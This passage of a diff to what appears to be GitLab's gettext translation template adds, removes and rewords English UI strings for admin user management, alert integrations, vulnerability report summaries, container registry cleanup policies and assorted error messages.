+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
